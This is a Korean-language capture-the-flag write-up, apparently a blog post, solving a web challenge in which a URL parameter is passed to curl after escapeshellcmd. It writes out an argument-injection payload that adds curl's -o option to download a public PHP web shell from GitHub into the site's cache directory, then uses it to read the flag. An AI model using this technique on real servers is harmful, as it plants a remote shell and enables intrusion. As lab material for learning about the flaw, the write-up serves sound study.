문제

 


 

풀이

index는 바로 url을 입력받고 curl을 진행하는 페이지이다.

소스코드를 확인해보자.

$url에 'http' 문자열이 존재하는 지, 확인한다.
확인 시, 'http' 문자열이 첫번째 문자열에 포함되어 있다면, 0을 반환한다.
단순하게 말하자면, $url 시작이 'http'로 시작해야 else 구문으로 넘어간다. 

$result 는 GET으로 받은 url을 escapeshellcmd로 ;|, 등을 이스케이프 처리를 시켜 일반 문자열로 변환한다.
하지만, curl 실행은 가능하다.

그렇다면, 공격자의 서버에 있는 웹쉘을 요청하고, 경로를 지정해 업로드하면 바로 웹쉘이 업로드 될 것이다.

이때에는 curl -o 옵션을 사용한다.
curl -o 옵션은 지정한 디렉토리에 요청 결과를 생성한다.

아래는 github의 webshell이다. 해당 페이지의 webshell.php를 raw를 눌러 url을 추출해 사용할 예정이다.

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

github.com

 

url을 먼저 선언을 하고 -o 옵션을 사용해 /cache/expolit.php 를 생성한다.

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/refs/heads/master/webshell.php -o ./cache/exploit.php

 

해당 경로에 cache file이 생성된 것을 확인할 수 있다.

 

 

이제 /cache/exploit.php 에 접속하여 flag 값을 도출해낸다.

 

cmd 에서 cat ./flag 를 작성하면 flag 값이 출력된다.